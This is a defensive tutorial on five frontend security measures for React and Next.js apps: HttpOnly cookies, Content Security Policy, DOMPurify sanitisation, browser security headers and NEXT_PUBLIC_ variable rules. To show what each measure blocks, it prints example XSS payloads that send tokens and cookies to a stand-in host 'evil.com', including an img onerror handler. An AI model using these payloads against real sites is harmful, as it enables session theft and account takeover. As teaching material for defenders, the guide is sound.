Five Frontend Security Defenses Every React and Next.js App Needs
Why production React and Next.js apps use HttpOnly cookies, CSP, DOMPurify, security headers and NEXT_PUBLIC_ rules, and which attack each one blocks.
This article is published in English.
It is easy to treat security as the backend's job, yet many serious vulnerabilities, from stolen sessions to leaked API keys, start in client code. Production React and Next.js codebases contain patterns that look unnecessary at first: HttpOnly cookies, odd headers in next.config.js, DOMPurify, NEXT_PUBLIC_ variables, a Content-Security-Policy. This guide explains the five most important ones, the attack each blocks, and the caveats for applying them correctly.
1. Keep auth tokens out of JavaScript with HttpOnly cookies
Token storage is probably the most consequential security decision in a frontend. A common approach is to save the token in localStorage:
localStorage.setItem("token", token);
and attach it to each request by hand:
fetch("/profile", {
headers: {
Authorization: `Bearer ${token}`,
},
});
It works, but it leaves the token readable by any script running on your page.
How XSS turns into account takeover
Cross-site scripting (XSS) means an attacker gets their JavaScript to run inside your site. A typical entry point is rendering untrusted HTML, such as a user comment:
<div dangerouslySetInnerHTML={{ __html: comment }} />
If the attacker can make script run, reading the token is one line:
<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>
Strictly speaking, a script tag inserted through innerHTML (which dangerouslySetInnerHTML uses) does not execute; real attacks use event-handler payloads like the one in section 3. Either way, once script runs, localStorage is fully exposed.
Whoever holds a bearer token is logged in without needing the password, and can access the account, impersonate the user, perform transactions or reach admin features.
Let the browser hold the session
The standard fix is to have the server issue the session in a cookie that scripts cannot touch:
Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict
Each attribute has a specific job:
HttpOnlyhides the cookie from JavaScript: reading it from script, as below, will not return it.Securerestricts the cookie to HTTPS.SameSite=Strictstops the browser from sending the cookie on requests that originate from other sites, which is a strong defence against cross-site request forgery (CSRF).Strictalso drops the cookie when users arrive via links from other sites, so many apps chooseLax.
document.cookie
The shift is one of ownership. Before, the frontend controlled the token:
Frontend controls token
After, the browser does:
Browser controls token
Your code no longer builds a header like this on every call:
Authorization: Bearer token
because the browser attaches the cookie automatically. Credentials never pass through application code. For the server side, see our comparison of sessions and JWTs in Node.js.
2. Stop injected scripts from running with a Content Security Policy
A frequently overlooked defence is the header named
Content-Security-Policy
which Next.js projects often configure in
next.config.js
Why HttpOnly cookies are not enough
Suppose an attacker manages to inject an external script:
<script src="https://evil.com/hack.js"></script>
By default the browser runs it. The attacker cannot read the cookie, but does not need to: the script runs inside your origin, so its requests carry the user's cookies automatically:
fetch("/send-money", {
method: "POST",
body: JSON.stringify({
amount: 50000,
to: "hacker",
}),
});
The backend sees an authenticated request and processes the transfer. The same foothold allows other attacks:
- Fake login prompts. The script shows an official-looking dialog like the text below, and whatever the user types goes to the attacker.
- Forced redirects. Users are silently sent to a phishing site that mimics yours.
"Session expired. Enter password again."
An allowlist for executable code
A CSP tells the browser which sources of script it may run. A minimal policy looks like this:
Content-Security-Policy:
script-src 'self'
'self' means only scripts served from your own origin are allowed. When the page encounters a script from another domain, such as the one below, the browser refuses to execute it:
<script src="evil.com/hack.js"></script>
In Next.js, you can send the header for every route through headers() in the config:
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "Content-Security-Policy",
value: "script-src 'self';",
},
],
},
];
},
};
Treat this as a starting point. A bare script-src 'self' also blocks inline scripts, which Next.js uses for hydration, so a strict policy usually needs nonces (check the current Next.js docs for the middleware approach). Roll out new policies with Content-Security-Policy-Report-Only first.
Two layers, two purposes
HttpOnly cookies limit the damage of XSS; CSP tries to stop the script from running at all. Real protection comes from stacking both.
3. Sanitize HTML before using dangerouslySetInnerHTML
React prevents XSS only on its default rendering path, where interpolated text is escaped:
<p>{content}</p>
So if the API returns a string like this, React renders it as visible text rather than executing it:
<script>alert("hacked")</script>
The escape hatch is
dangerouslySetInnerHTML
and React put the word
dangerously
in its name on purpose.
When you genuinely need raw HTML
Blogs, CMS pages, Markdown output and rich text editors all need to render HTML. Say the backend returns:
<h1>Frontend Security</h1>
<p>Learn React Security</p>
Rendering it through normal interpolation:
<p>{content}</p>
displays the tags as literal text. Switching to the escape hatch produces properly formatted content:
<div dangerouslySetInnerHTML={{
__html: content
}} />
It looks right, and it is an injection point.
The payload that does execute
An attacker submits markup like this:
<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>
The image source is deliberately invalid, the load fails, and the onerror handler runs the attacker's JavaScript.
Clean it with DOMPurify
The usual remedy is to sanitize before rendering. Install the library:
npm install dompurify
import it:
import DOMPurify from "dompurify";
and sanitize content before handing it to React (in real code, the sanitize call and the return belong on separate lines):
const safeHTML =
DOMPurify.sanitize(content);return (
<div
dangerouslySetInnerHTML={{
__html: safeHTML,
}}
/>
);
DOMPurify removes dangerous constructs such as script elements, inline event handlers like onerror and onclick, javascript: URLs in links, and injected iframes, leaving only safe markup. On the server there is no browser DOM, so server-rendered code needs a DOM implementation such as jsdom or sanitization at write time.
Untrusted includes your own backend
Never trust input, even from your own API; that data usually originated somewhere less trustworthy:
- end users
- admin panels
- CMS editors
- third-party APIs
- rich text editors
4. Browser security headers that close quiet gaps
Many production configs set a trio of headers that are easy to overlook:
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
Each one blocks a different attack.
X-Frame-Options against clickjacking
An attacker builds a page on a domain of their own:
evil.com
and loads your site inside an invisible iframe on top of it. The user thinks they are pressing
Claim Prize
but the click lands on your real button underneath:
Transfer ₹50,000
This is clickjacking. The fix is to forbid framing:
X-Frame-Options: DENY
The browser then refuses to frame your pages. The modern CSP equivalent is frame-ancestors 'none'; setting both covers older browsers.
Strict-Transport-Security to force HTTPS
On untrusted networks such as public Wi-Fi, plain HTTP traffic can be intercepted, exposing passwords, session data, one-time codes and other private information. HSTS tells the browser to use HTTPS only:
Strict-Transport-Security:
max-age=31536000
Once a browser has seen this header, even a typed address like
http://example.com
is upgraded automatically to
https://example.com
before any request leaves the machine. The max-age is one year. The browser only learns the rule over HTTPS, so a first visit is unprotected unless the domain is preloaded.
X-Content-Type-Options against MIME sniffing
Browsers historically tried to guess a file's real type. If the server declares
Content-Type: image/jpeg
but the file actually contains script, a sniffing browser might treat it as executable. Disabling that behaviour is one header:
X-Content-Type-Options:
nosniff
It instructs the browser to trust the declared Content-Type and stop guessing.
Setting all three in Next.js
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key:
"Strict-Transport-Security",
value:
"max-age=31536000",
},
{
key:
"X-Content-Type-Options",
value: "nosniff",
},
],
},
];
},
};
These headers cost almost nothing and remove whole categories of attack.
5. Separate server secrets from browser-visible environment variables
Keeping .env out of Git does not make secrets safe. What matters is what ends up in the JavaScript bundle.
How secrets reach the bundle
Take a variable like this:
SECRET_KEY=abc123
referenced from client-side code:
console.log(
process.env.SECRET_KEY
);
When a bundler inlines environment variables at build time, the shipped code contains the literal value:
console.log("abc123");
Anyone can read it in developer tools. Next.js guards against the accidental case: variables without the NEXT_PUBLIC_ prefix are not inlined into browser code and read as undefined there. Leaks happen when a secret gets the public prefix to silence an error, or a server component passes it to a client component as a prop.
The NEXT_PUBLIC_ contract
Only variables whose names start with
NEXT_PUBLIC_
are embedded in the browser build. A value like this is fine to expose:
NEXT_PUBLIC_API_URL=
https://api.com
and can be read in client code as:
process.env
.NEXT_PUBLIC_API_URL
because an API URL is public anyway.
What must never be public
These belong on the server only:
JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS
A typical production setup
The repository contains no .env file, because the file is listed in .gitignore:
.env
Real values are injected by the CI/CD system or hosting platform at build or deploy time. Only NEXT_PUBLIC_ values reach the browser bundle; everything else stays on the server.
The rule to remember: if the browser can access a value, it is public. No frontend secret is actually secret.
Key takeaways
Frontend security is about shrinking the attack surface and making exploitation harder, layer by layer.
- HttpOnly cookies keep session tokens out of reach of injected scripts.
- A Content Security Policy stops unauthorised scripts from running, but needs nonces to coexist with Next.js inline scripts.
- DOMPurify makes
dangerouslySetInnerHTMLsafe for content you did not write. - Security headers block clickjacking, protocol downgrades and MIME sniffing for almost no effort.
- The
NEXT_PUBLIC_boundary decides what ships to the browser, so treat that prefix as a publication decision.
Knowing which attack each pattern stops is what lets you configure it correctly and notice when one is missing.